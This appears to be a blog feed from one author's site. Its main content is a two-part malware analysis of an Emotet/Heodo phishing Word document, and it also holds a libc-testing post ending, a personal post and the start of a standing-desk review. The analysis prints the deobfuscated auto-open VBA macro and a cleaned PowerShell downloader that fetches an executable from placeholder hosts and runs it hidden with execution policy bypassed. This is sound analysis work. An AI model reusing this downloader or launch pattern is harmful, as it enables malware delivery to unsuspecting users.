lead to no reference to the <code class="language-plaintext highlighter-rouge">strlen()</code> function, which is why I did not provide
any output here. Instead, we can confirm that the compiler optimized our code by
disassembling the program with <code class="language-plaintext highlighter-rouge">objdump -d</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -d -Mintel hello
hello: file format elf64-x86-64
...
749: e8 82 fe ff ff call 5d0 <strcpy@plt>
74e: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
752: ba 04 00 00 00 mov edx,0x4
757: 48 89 c6 mov rsi,rax
75a: 48 8d 3d aa 00 00 00 lea rdi,[rip+0xaa] # 80b <_IO_stdin_used+0xb>
761: b8 00 00 00 00 mov eax,0x0
766: e8 75 fe ff ff call 5e0 <printf@plt>
...
</code></pre></div></div>
<p>Without knowing assembler, we can notice that there is no <code class="language-plaintext highlighter-rouge">call</code> to <code class="language-plaintext highlighter-rouge">strlen</code>.
Instead the value <code class="language-plaintext highlighter-rouge">4</code> (<code class="language-plaintext highlighter-rouge">0x4</code>) is moved to a register before calling <code class="language-plaintext highlighter-rouge">printf</code>.
The compiler optimized our code!</p>
<h2 id="conclusion">Conclusion</h2>
<p>I leveraged the <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> environment variable to inject a function under
test in a test program. The test program is linked against whatever <em>libc</em> is
installed on the system and only the FUT is replaced. That way, the test code
can be trusted and we can compare the behavior of the FUT with the equivalent
function in the systemās <em>libc</em>.</p>
<p>While it is an efficient method to write simple unit tests, it still requires
some extra checks to make sure we are not testing the numerous compiler
optimizations that would completely skip the FUT.</p>
<p>With these <em>libc</em> functions implemented and tested, I can now build new features
on top of them with confidence and write ātraditionalā unit tests for these
modules.</p>
SIGCONT2019-12-20T00:00:00+00:00https://williamdurand.fr/2019/12/20/sigcont<p>I have never been really good at blogging consistently. The truth is: itās hard,
for multiple reasons. I used to write without fear when I was younger, so what
happened?</p>
<p>Over the last five years, I learnt a lot about various topics and the more I was
learning, the more I was scared of actually not knowing anything. And this weird
feeling became much stronger after I had a <em>life incident</em> 3.5 years ago. All
of this evolved into a form of <a href="https://en.wikipedia.org/wiki/Anxiety_disorder">anxiety
disorder</a>, which I tried to
fight by myself for 3 years. My last round-trip to an emergency service for
nothing convinced me to go to āsee someoneā. My self-esteem has been decreasing
over time and this <em>thing</em> did not help.</p>
<p>The only ābenefitā at being <em>like that</em> is that I never stop pushing my own
limits. The main drawbacks are that I am rarely proud of myself, never satisfied
and I hardly believe peopleās kind words. Such feelings do not mean that I am
unhappy or sad or even depressed. It rather means: I cannot even think about the
<a href="https://en.wikipedia.org/wiki/Impostor_syndrome">Impostor syndrome</a> because I
would fail to qualify as an impostorā¦ That is a bit annoying but it is not the
end of the world.</p>
<p>For example, according to my manager and the outcome of the projects I have
worked on this year, I perform very well at my current company. Self-esteem does
not prevent one to get things done, take initiatives or create amazing things.
Yet, having little self-esteem forced me to put āaccording toā in the previous
sentence. And that is actually the problem.</p>
<p>When I want to blog, I usually stop because (1) I do not have anything
interesting to write, (2) I do not know enough or (3) no one cares about my
thoughts. When I was younger, I was probably too bold to think about all of this
but sharing my (sometimes imprecise) knowledge was still immensely positive.
That is why, as of now, I will try to write again.</p>
<p>I like <a href="https://jvns.ca/">Julia Evansā blog</a> and the way she writes. It is āmore
of a live-blogged exploration of a topic than an explanation of the topicā to
quote <a href="https://danluu.com/programming-blogs/">someone else</a> describing her
style. I would like to write shorter articles more often. I would like to write
about how I work and also about all the (technical) topics I am interested in.
This <em>plan</em> should likely address my concerns (1) and (2). As for (3), I have
been reading so many different blogs about all kinds of things that my upcoming
articles will eventually be useful to someone else, I believe.</p>
<p>Letās send a <a href="https://en.wikipedia.org/wiki/SIGCONT">SIGCONT</a> to this blog!</p>
Malware analysis writeup: Heodo (2/2)2019-05-27T00:00:00+00:00https://williamdurand.fr/2019/05/27/malware-analysis-writeup-heodo-part-2<p>This is Part 2 of a malware analysis I did last week. This time, it was not an
exercise!</p>
<p>In <a href="/2019/05/24/malware-analysis-writeup-heodo-part-1/">Part 1</a>, I
described how I extracted a PowerShell script executed by a VBA macro hidden in
a Word document. At the end, I was able to download the program that was
supposed to be downloaded by the PowerShell script. In the sequel, I am going to
describe the analysis of this program named <code class="language-plaintext highlighter-rouge">71.exe</code>.</p>
<h2 id="first-look">First look</h2>
<p>I uploaded the program to VirusTotal again and found out that it was already
known. Looking at the report, it did not look like the executable was packed,
but entropy was still quite high. This happens when a program embeds some
content, like other DLLs, executables, etc.</p>
<p>The first thing that struck me was the use of the following functions:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CADeleteCA
CAEnumFirstCA
CAEnumNextCA
CACloseCA
CACloseCertType
</code></pre></div></div>
<p>I thought that this malware was maybe installing/replacing a rogue certificate
somehow. From VirusTotal, thatās all I could gather so I decided to boot a
Windows 7 VM and started a static analysis.</p>
<blockquote>
<p><em>Post-mortem:</em> once again, I neglected the VirusTotal report. I did not pay
enough attention to the antivirus reports, which led to extra work to find
what this program was all about.
In addition to that, my lack of experience made me think about a small-ish
malware and I never thought that it could be a very complex and well-known
malware.</p>
</blockquote>
<h2 id="static-analysis">Static analysis</h2>
<p>I started by running <a href="https://en.wikipedia.org/wiki/Strings_(Unix)"><code class="language-plaintext highlighter-rouge">strings</code></a>
on the <code class="language-plaintext highlighter-rouge">71.exe</code> file. I found some function names and a lot of garbage but
nothing really obvious. Using <code class="language-plaintext highlighter-rouge">PeID</code>, I could not find evidences of a
<a href="https://en.wikipedia.org/wiki/Executable_compression">packer</a>, same with
<a href="https://github.com/horsicq/Detect-It-Easy">DIE</a>.</p>
<p>I used <code class="language-plaintext highlighter-rouge">PeView</code> to look more into the different
<a href="https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#general-concepts">sections</a>
and did not spot any big problem (again, based on my knowledge). Virtual and raw
sizes looked similar and section names were not weird. I concluded that the
program was likely decoding its instructions at runtime.</p>
<table>
<thead>
<tr>
<th>Ā </th>
<th>virtual size</th>
<th>size of raw data</th>
</tr>
</thead>
<tbody>
<tr>
<td>.text</td>
<td>4280 (0x10b8)</td>
<td>4608 (0x1200)</td>
</tr>
<tr>
<td>.data</td>
<td>70580 (0x113b4)</td>
<td>70656 (0x11400)</td>
</tr>
</tbody>
</table>
<blockquote>
<p><em>Post-mortem:</em> I might have missed something though, but at the time, thatās
all I could gather.</p>
</blockquote>
<p>Given that I was stuck and could not find more useful information about this
executable, I decided to switch to dynamic analysis š»</p>
<h2 id="dynamic-analysis">Dynamic analysis</h2>
<blockquote>
<p>Dynamic analysis is any examination performed after executing malware.
<br /><em>ā In Practical Malware Analysis, Chapter 3</em></p>
</blockquote>
<p>In a Windows 7 32-bit VM, I started a few tools and then executed the malicious
program in order to analyze its behavior š£ After a few seconds, the program
disappeared as shown in Figure 1. I already saw this behavior during a previous
analysis, so I made a copy of the program before running it.</p>
<p class="with-caption"><img src="/images/posts/2019/05/run-and-disappear.gif" alt="A short screen cast showing that the program disappears shortly after being
executed" />
<em>Figure 1: the program disappears shortly after being executed</em></p>
<h3 id="procmon">Procmon</h3>
<p>Further investigation using
<a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon"><code class="language-plaintext highlighter-rouge">Procmon</code></a>
revealed that it renamed itself to <code class="language-plaintext highlighter-rouge">C:\Windows\System32\hotspotsel.exe</code> (<em>cf.</em>
Figure 2). Given that this path was not present in the <code class="language-plaintext highlighter-rouge">strings</code> output, I had
the confirmation that the program was decrypting its instructions at runtime and
only loaded information in memory when needed. This seems to be a common
protection against malware analysts. That was quite unexpected given that its
Downloader (<em>cf.</em> <a href="/2019/05/24/malware-analysis-writeup-heodo-part-1/">Part 1</a>) was pretty easy to
reverse.</p>
<p class="with-caption"><img src="/images/posts/2019/05/procmon-rename.png" alt="A screenshot of Procmon" />
<em>Figure 2: <code class="language-plaintext highlighter-rouge">SetRenameInformationFile</code> call captured by Procmon</em></p>
<h3 id="regshot">Regshot</h3>
<p>I continued my analysis by reviewing the diff of the Windows registry created
with <a href="https://sourceforge.net/p/regshot/wiki/Home/"><code class="language-plaintext highlighter-rouge">Regshot</code></a> as depicted in
Figure 3 (Right-click > āView imageā to display the image in full size).</p>
<p class="with-caption"><img src="/images/posts/2019/05/regshot-diff.png" alt="A screenshot of the Windows VM with the Regshot diff file
opened" />
<em>Figure 3: A <code class="language-plaintext highlighter-rouge">diff</code> of the registry created with Regshot</em></p>
<p>I discovered two interesting facts about the program:</p>
<ol>
<li>
<p>it creates a service called <code class="language-plaintext highlighter-rouge">hotspotsel.exe</code> that is supposed to ācopy user
certificates and root certificates from smart cards [ā¦]ā. The service is
persistent and survives reboots based on the <code class="language-plaintext highlighter-rouge">sc query</code> output shown in
Figure 4.</p>
<p class="with-caption"><img src="/images/posts/2019/05/sc-qc.png" alt="A screenshot of the output of sc query" />
<em>Figure 4: The output of service control</em></p>
</li>
<li>
<p>it turns on a feature called
<a href="https://en.wikipedia.org/wiki/Web_Proxy_Auto-Discovery_Protocol">WPAD</a>.
Googling this term revealed that this Windows feature was a known
vulnerability.</p>
</li>
</ol>
<p>With the second fact combined to the references to the <code class="language-plaintext highlighter-rouge">CA*</code> functions, I really
thought that this program was trying to get access to secure exchanges (HTTPS)
but I was only guessing.</p>
<h3 id="process-explorer">Process Explorer</h3>
<p>Looking at <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer"><code class="language-plaintext highlighter-rouge">Process Explorer</code></a>,
I could confirm that the service was running and I discovered that it was
started with a command line argument. I supposed that the presence of the
argument started the program in a āserviceā mode instead of trying to install
itself as a service (like when I executed the program manually).</p>
<p>The printable strings retrieved from the running service memory were not super
helpful unfortunately. I could find the service name (<code class="language-plaintext highlighter-rouge">hostspotsel</code>) as well as
the fully qualified path to the executable and the name of the computer followed
by 6 characters, but nothing else.</p>
<p>Last thing I discovered was a bunch of network calls with what seemed random IP
addresses and different ports such as: 80, 8080, 443, 465, 22, etc. The Windows
VM was fully isolated during this analysis phase, so all requests failed and I
could not gather new information. It was time to perform a network analysis.</p>
<h2 id="network-analysis">Network analysis</h2>
<p>Network analysis is still dynamic analysis but focused on network activities.</p>
<p>In order to do that, I recreated a new lab containing a Windows 7 VM as well as
a <a href="https://remnux.org/">REMnux</a> (Linux) VM, both in the same VirtualBox
āinternal networkā. I configured the Linux VM so that it catches all TCP/IP
packets, no matter the destination IPs. In the Windows VM, I set the gateway IP
to the Linux IP. I had noted some destination ports before so I started a bunch
of <code class="language-plaintext highlighter-rouge">netcat</code> on different ports in the Linux VM as well.</p>
<p>I executed the <code class="language-plaintext highlighter-rouge">71.exe</code> program in the Windows 7 VM again. In <code class="language-plaintext highlighter-rouge">Process Explorer</code>, I saw that some network calls were <code class="language-plaintext highlighter-rouge">ESTABLISHED</code>, which meant that
the malware was able to connect to its servers. Thatās what the malware thought
though, because it actually connected to the Linux VM, which received a bunch of
HTTP <code class="language-plaintext highlighter-rouge">POST</code> requests in the different <code class="language-plaintext highlighter-rouge">netcat</code> I had started before. There is an
example in Figure 5.</p>
<p class="with-caption"><img src="/images/posts/2019/05/remnux-nc.png" alt="A screenshot of a Linux terminal with a POST request captured by
netcat" />
<em>Figure 5: A <code class="language-plaintext highlighter-rouge">POST</code> HTTP request captured by <code class="language-plaintext highlighter-rouge">netcat</code> listening on port <code class="language-plaintext highlighter-rouge">8080</code></em></p>
<p>For each request, the HTTP body was
<a href="https://tools.ietf.org/html/rfc4648#section-5">base64-URL-encoded</a>. I tried to
decode some of these bodies but none was readable. The content was probably
encrypted first and then encoded with base64.</p>
<h2 id="hello-heodo">Hello, Heodo</h2>
<p>I noted the IP addresses and ports printed in the different <code class="language-plaintext highlighter-rouge">netcat</code> outputs,
and I used Google again to get more information. I found that one IP address was
referenced as a <a href="https://en.wikipedia.org/wiki/Botnet#Command_and_control">C2
server</a> of a famous
botnet calledā¦ <strong>Heodo</strong>. I put a name on this malware, finally!</p>
<p>I then gathered more information about Heodo:</p>
<ol>
<li>it is a variant of
<a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet">Emotet</a>. I did
not expect to analyse one of the most prevalent malware as a first!</li>
<li>This malware is often distributed <em>via</em> emails using an attachment (like a
Word document) that contains a malicious PowerShell script to download and
install it.</li>
<li>Once the malware is installed, it tries to reach a C2 server from a list.
Thatās exactly what I noticed during my network analysis, cool.</li>
<li>Exchanges are encrypted with RSA. That is probably why I could not read
anything after having decoded the base64-URL-encoded HTTP bodies.</li>
<li>When the malware tries to <a href="https://en.wikipedia.org/wiki/Phoning_home">phone
home</a> for the first time, it
collects and sends data to the C2 server, which might respond differently
depending on what is sent. For example, it sends the computer name followed
by some information about the CPU and the list of running processes. If this
list contains a malware analysis tool, it will not send a new program but
either nothing or itself.</li>
</ol>
<p>Even though most of my findings matched the characteristics of Heodo/Emotet, I
was not 100% sure that the program I was analyzing was Heodo/Emotet. C2 servers
might be compromised by more than one bad actor, so we cannot only infer the
malware based on the IPs it interacts with (I think).</p>
<h2 id="debugger">Debugger</h2>
<p>I decided to attach the <code class="language-plaintext highlighter-rouge">Ollydbg</code> debugger to the running service
(<code class="language-plaintext highlighter-rouge">hotspotsel.exe</code>) to see if I could learn something new. I only used this
debugger twice before and during guided exercises so I did not really know what
I was doing -__-</p>
<p>I decided to pause the execution when a connection was established
(this can be seen in <code class="language-plaintext highlighter-rouge">Process Explorer</code>). I tried to find ASCII strings and
eventually found an IP address. This IP address also appeared in one of the
<code class="language-plaintext highlighter-rouge">netcat</code> outputs on the Linux VM. I told the debugger to find the IP address in
the memory dump and manually reviewed what was there before and after this
point. I found a long list of process names, including <code class="language-plaintext highlighter-rouge">OLLYDBG.EXE</code> and
<code class="language-plaintext highlighter-rouge">VBoxTray.exe</code> as depicted in Figure 6. This is the list of all the running
processes in the Windows VM!</p>
<p class="with-caption"><img src="/images/posts/2019/05/ollydbg.png" alt="A screenshot of the Ollydbg debugger" />
<em>Figure 6: The <code class="language-plaintext highlighter-rouge">Ollydbg</code> window with a list of processes (in the blue
rectangle)</em></p>
<p>I was also able to find a few more IP addresses in the memory dump and the
computer name again, followed by the same characters I read in <code class="language-plaintext highlighter-rouge">Process Explorer</code> before (in the āprintable stringsā).</p>
<p>These findings validated the 5th item in the previous section: Heodo/Emotet
malware send the list of running processes to their C2 servers. That way, C2
servers can detect malware analysts. The program will likely keep sending this
list until the C2 server tells it to do something else.</p>
<p>At this point, I was confident and decided to stop my analysis here. I reached
my goal: I discovered which malware was installed by the Word document received
by my friend.</p>
<h2 id="whats-next">Whatās next?</h2>
<p>I found a great <a href="https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html">deep analysis of an Emotet
variant</a>
as well as some <a href="https://github.com/tadavies/emotet">interesting tools</a> when I
was writing this article. It seems possible to patch the malware at runtime to
hopefully retrieve other malicious programs. This requires to connect the
Windows VM to the Internet, though. In the future, Iād like to perform a similar
analysis.</p>
<p>I would also like to see if I can fully reverse the <code class="language-plaintext highlighter-rouge">71.exe</code> program to retrieve
the RSA keys, C2 IP addresses and so on (if possible). Reverse engineering is
not my best strength though.</p>
<h2 id="recap">Recapā</h2>
<ul>
<li>I analyzed a malware with various techniques.</li>
<li>I discovered that this malware was a well-known malware named Heodo.</li>
</ul>
<hr />
<table>
<thead>
<tr>
<th>Filename</th>
<th>MD5 checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="language-plaintext highlighter-rouge">71.exe</code></td>
<td><code class="language-plaintext highlighter-rouge">457bfd478d79230b99bce5c2055ed62d</code></td>
</tr>
</tbody>
</table>
Malware analysis writeup: Heodo (1/2)2019-05-24T00:00:00+00:00https://williamdurand.fr/2019/05/24/malware-analysis-writeup-heodo-part-1<p>This is Part 1 of a malware analysis I did this week. This time, it was not an
exercise!</p>
<p>I started digging into āmalware analysisā some time ago, mostly because I did
not know anything about malware (except that they were not nice). I still do
not know a lot about this topic, but I learned a few things already. In the
sequel, I am going to describe why and how I analyzed the first part of this
malware.</p>
<h2 id="preamble">Preamble</h2>
<p>Earlier this week, one of my friends received an email from his childās school.
It was a reply to an email he sent a couple of months ago, about his child being
sick back then. Although the content of the email seemed legit, a file named
<code class="language-plaintext highlighter-rouge">ANHANG-16231-21845251.doc</code> was attached to it, which alerted my friend. He
called the school and got confirmation that no one sent such an email.</p>
<p>My friend asked me what I thought about this story. Double-checking the email
headers, it was trivial to confirm that the school employee was impersonated.
Given that the reply matched his email, the emails of this person were likely
dumped a while ago and the bad folks started to make āgoodā use of them. Before
leaving him, I asked my friend to forward me the <code class="language-plaintext highlighter-rouge">.doc</code> file.</p>
<h2 id="word-document-and-vba-macro">Word document and VBA macro</h2>
<p>I uploaded this file on <a href="https://www.virustotal.com">VirusTotal</a> but I did not
get a lot of information, so I started a VM with a set of tools to perform static
analysis of this document file.</p>
<blockquote>
<p><em>Post-mortem:</em> the VirusTotal report was more interesting than I thought: it
mentioned that this file was likely a āDownloaderā. Knowing this beforehand
could have helped me during the analysis process.</p>
</blockquote>
<p>I am not an expert, but I know that Microsoft documents can embed and run
<a href="https://en.wikipedia.org/wiki/Macro_(computer_science)">macros</a>, specifically
<a href="https://en.wikipedia.org/wiki/Visual_Basic_for_Applications">VBA</a> macros. I also
know that these macros have access to a lot of APIs and can run commands. The only
set of tools I am aware of to deal with such formats/files is
<a href="https://github.com/decalage2/oletools">oletools</a>.</p>
<p>I knew that this file was likely hiding VBA macros, but my experience solving
some so-called āhacking challengesā taught me to not overlook the information
gathering phase. I analyzed the file with <code class="language-plaintext highlighter-rouge">oleid</code>, which confirmed my intuition
and also indicated that the file was not encrypted:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>oleid 0.54 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
Filename: ./ANHANG-16231-21845251.doc
Indicator Value
OLE format True
Has SummaryInformation stream True
Application name Microsoft Office Word
Encrypted False
Word Document True
VBA Macros True
Excel Workbook False
PowerPoint Presentation False
Visio Drawing False
ObjectPool True
Flash objects 0
</code></pre></div></div>
<p>The second tool I used was <code class="language-plaintext highlighter-rouge">olevba</code>. It has been used to extract the VBA macros
from the <code class="language-plaintext highlighter-rouge">.doc</code> file. The output I received looked
<a href="https://en.wikipedia.org/wiki/Obfuscation_(software)">obfuscated</a> (the snippet
below has been truncated):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>olevba 0.54.1 on Python 2.7.16 - http://decalage.info/python/oletools
===============================================================================
FILE: ./ANHANG-16231-21845251.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Swlfot9.cls
in file: ./ANHANG-16231-21845251.doc - OLE stream: u'Macros/VBA/Swlfot9'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO zC7wlka.vba
in file: ./ANHANG-16231-21845251.doc - OLE stream: u'Macros/VBA/zC7wlka'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub K9hj1nG()
Debug.Print "724" + ("516") + ("UPOp3Hrt" + ("23" + "361") + "vC9PPmCK" + ("rjITKvEv"))
Debug.Print "20" + ("994") + ("u_8YY68" + ("791" + "454") + "rbk4PQH" + ("iqapjj9"))
Debug.Print "942" + ("653") + ("pqQI0T2" + ("226" + "126") + "N7OT4k" + ("Z6j2ENjS"))
Debug.Print "387" + ("127") + ("wjf7biL" + ("20" + "64") + "nE0OG8" + ("GNXHVKT"))
Debug.Print "255" + ("590") + ("kPaztnd9" + ("626" + "534") + "nc7FkKV" + ("itIImYJ"))
Debug.Print "763" + ("124") + ("lLo5VRP" + ("611" + "629") + "tJnnqa" + ("EPdjCjRp"))
End Sub
Sub _
autoopen( _
)
[...]
</code></pre></div></div>
<p>I took a look at the <code class="language-plaintext highlighter-rouge">olevba</code> documentation and learned about the <code class="language-plaintext highlighter-rouge">--reveal</code>
experimental feature. In this case, it worked well and this feature cleaned the
code a bit. It was still obfuscated, but less weird (output below truncated):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Attribute VB_Name = "zC7wlka"
Sub K9hj1nG()
Debug.Print "724516UPOp3Hrt23361vC9PPmCKrjITKvEv"
Debug.Print "20994u_8YY68791454rbk4PQHiqapjj9"
Debug.Print "942653pqQI0T2226126N7OT4kZ6j2ENjS"
Debug.Print "387127wjf7biL2064nE0OG8GNXHVKT"
Debug.Print "255590kPaztnd9626534nc7FkKVitIImYJ"
Debug.Print "763124lLo5VRP611629tJnnqaEPdjCjRp"
End Sub
Sub autoopen( )
Debug.Print "588496Bn5Mps680785i9QMw62Vw29iIrvf"
Debug.Print "984870ZavHKq723615HYijaGWMHILLpV"
Debug.Print "58974piKRd2450645jwOkskOoIvNiL"
lc8cJsPt
Debug.Print "860836EYdLCWj544391w0whi5Mmcto3"
Debug.Print "12319b1Pp9wzc397829Xozjntl2HkNCop"
Debug.Print "826309uz3s8R5980Z6jEJwMSGtCq"
End Sub
[...]
</code></pre></div></div>
<p>I went ahead and manually cleaned the code even more, but I had two references
to a OLE āthingā named <code class="language-plaintext highlighter-rouge">Swlfot9</code> that I could decode. I knew it had
something to do with <a href="https://en.wikipedia.org/wiki/PowerShell">PowerShell</a>
given the <code class="language-plaintext highlighter-rouge">"powe"</code> string but I could not find anything elseā¦</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Attribute VB_Name = "zC7wlka"
Sub autoopen()
lc8cJsPt
End Sub
Sub lc8cJsPt()
Set Win32ProcessstartupObj = GetObject("winmgmts:Win32_ProcessStartup")
Win32ProcessstartupObj.ShowWindow = 0
Set Win32ProcessObj = GetObject("winmgmts:Win32_Process")
Win32ProcessObj.Create "powe" + Swlfot9.FbFMIBR + Swlfot9.bLJAPOF,
Null,
Win32ProcessstartupObj,
ProcessId
End Sub
</code></pre></div></div>
<p>I saw the name <code class="language-plaintext highlighter-rouge">Swlfot9</code> in the very first <code class="language-plaintext highlighter-rouge">olevba</code> output, though, so I knew
that something was still there, but I could just not see it. I tried some other
oletools but it was a dead-endā¦</p>
<h2 id="a-powershell-payload">A PowerShell payload</h2>
<p>Not really knowing what to do next, I decided to give the <code class="language-plaintext highlighter-rouge">strings</code> command a
try and found a very large string that looked like a bas64-encoded string.
I piped this string to <code class="language-plaintext highlighter-rouge">base64 -d</code> and got some PowerShell instructions in
return. Yay!</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$XvmIXvo</span><span class="o">=</span><span class="s1">'t6jTbM'</span><span class="p">;</span><span class="nv">$PbDL43</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'71'</span><span class="p">;</span><span class="nv">$uj6EVuv</span><span class="o">=</span><span class="s1">'L8KMkkX'</span><span class="p">;</span><span class="w"> </span><span class="p">[</span><span class="o">...</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>
<p>Given that I was stuck with the VBA macro, I decided to clean the PowerShell
<a href="https://en.wikipedia.org/wiki/Payload_(computing)">payload</a> to better
understand it. There were unused variables and weird PowerShell-allowed calls.
Below is the PowerShell script rewritten to be more readable:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># `$env:userprofile` returns the full path of the profile directory.</span><span class="w">
</span><span class="nv">$pathToExe</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">userprofile</span><span class="o">+</span><span class="s1">'\71.exe'</span><span class="p">;</span><span class="w">
</span><span class="nv">$webClient</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">;</span><span class="w">
</span><span class="c"># List of URLs pointing to a program to download</span><span class="w">
</span><span class="nv">$urls</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="n">http</span><span class="p">:</span><span class="n">//some.example.com/folder-123/</span><span class="p">,</span><span class="w">
</span><span class="n">http</span><span class="p">:</span><span class="n">//another.example.com/folder-456/</span><span class="p">,</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$url</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$urls</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="c"># Try to download a program...</span><span class="w">
</span><span class="nv">$webClient</span><span class="o">.</span><span class="nf">DownloadFile</span><span class="p">(</span><span class="nv">$url</span><span class="p">,</span><span class="w"> </span><span class="nv">$pathToExe</span><span class="p">);</span><span class="w">
</span><span class="c"># if it worked, then...</span><span class="w">
</span><span class="kr">If</span><span class="w"> </span><span class="p">((</span><span class="n">Get-Item</span><span class="w"> </span><span class="nv">$pathToExe</span><span class="p">)</span><span class="o">.</span><span class="nf">length</span><span class="w"> </span><span class="o">-ge</span><span class="w"> </span><span class="mi">24103</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="c"># run it!</span><span class="w">
</span><span class="n">Invoke-Item</span><span class="w"> </span><span class="nv">$pathToExe</span><span class="p">;</span><span class="w">
</span><span class="kr">break</span><span class="p">;</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="c"># otherwise, keep trying.</span><span class="w">
</span><span class="p">}</span><span class="w"> </span><span class="kr">catch</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>This PowerShell script is a <strong>Downloader</strong>: its job is to download, save and execute
a malicious program (named <code class="language-plaintext highlighter-rouge">71.exe</code> here). I still did not know how this script was
executed by the macro though, so letās find out!</p>
<h2 id="ole-dump">OLE dump</h2>
<p>I searched for a tool able to dump an OLE stream from a <code class="language-plaintext highlighter-rouge">.doc</code> file
and discovered <a href="https://blog.didierstevens.com/programs/oledump-py/">oledump.py</a>.
Analyzing the different sections, I found interesting data that I dumped as ASCII:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rshell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e ,
</code></pre></div></div>
<p>This string corresponded to <code class="language-plaintext highlighter-rouge">Swlfot9.FbFMIBR</code>. Therefore the other reference was
the payload reversed in the previous section. Below is the full line of code used
to run the PowerShell script (which is represented by <code class="language-plaintext highlighter-rouge">"PAYLOAD"</code>):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Win32ProcessObj.Create "powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e" + "PAYLOAD"
</code></pre></div></div>
<p>Job done!</p>
<h2 id="the-71exe-program">The <code class="language-plaintext highlighter-rouge">71.exe</code> program</h2>
<p>In order to understand what kind of program was downloaded by the malicious <code class="language-plaintext highlighter-rouge">.doc</code>
file, I used a third party service to download the program from one of the URLs
in the list (in the PowerShell script) and this service then sent the program to me:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file 71.exe
71.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
</code></pre></div></div>
<p>Thatās a <a href="https://en.wikipedia.org/wiki/Portable_Executable">Windows Portable
Executable</a> program. I also
analyzed this file and <a href="/2019/05/27/malware-analysis-writeup-heodo-part-2/">Part 2</a> will describe my findings.</p>
<h2 id="recap">Recapā</h2>
<ul>
<li>I statically analyzed a Word document that contained a VBA macro and a
PowerShell script.</li>
<li>The VBA macro runs the PowerShell script on behalf of the user who opens the
<code class="language-plaintext highlighter-rouge">.doc</code> file.</li>
<li>The PowerShell script downloads and executes a malicious program.</li>
<li>This malicious program is a Windows PE EXE file.</li>
</ul>
<hr />
<table>
<thead>
<tr>
<th>Filename</th>
<th>MD5 checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="language-plaintext highlighter-rouge">ANHANG-16231-21845251.doc</code></td>
<td><code class="language-plaintext highlighter-rouge">70c0c42d90fd499b1d3f77b6f5a0bd3b</code></td>
</tr>
</tbody>
</table>
Reviewing the FlexiSpot Desktop Workstation 27 inches2017-03-13T00:00:00+00:00https://williamdurand.fr/2017/03/13/reviewing-the-flexispot-workstation<p><strong>Disclaimer:</strong> Loctek Inc. contacted me spontaneously and offered me the
product I am going to write about for review purposes. I agreed to do the review
and asked about return shipping, only to be told that they offered me the
product. I received a free workstation in return for a review. I asked whether I
could write anything about it in this review and that was OK. This review is
<strong>my very own review</strong> and Loctek Inc. did not check it before (or after)
publication.</p>
<hr />
<p>Standing desks. I have been interested in standing desks for several years now.
In case you donāt know, <a href="http://en.wikipedia.org/wiki/Standing_desk">a standing desk is a desk conceived for writing,
reading, or working, while standing up or while sitting on a high
stool</a>. The impact of such desks on
our health has been quantified, and several reports have come out pointing out
<a href="http://www.huffingtonpost.com/chris-kresser/sitting-health_b_2897289.html">the dangers</a>
<a href="http://healthland.time.com/2011/04/13/the-dangers-of-sitting-at-work%E2%80%94and-standing/">of sitting</a>
<a href="http://www.nytimes.com/2011/04/17/magazine/mag-17sitting-t.html">too</a>
<a href="http://mashable.com/2011/05/09/sitting-down-infographic/">long</a> (<em>e.g.</em> risk of
obesity, diabetes, heart disease, a variety of cancers, and an early death).
According to most people using standing desks, <a href="http://readwrite.com/2013/09/26/standing-desks-productivity">they even make you more
productive</a>, but I
did not find any formal report confirming that yet. My own experience of 2 years
standing almost all the time did not give me significant results regarding my
productivity. Nonetheless, it is clear that I have been more focused and I have
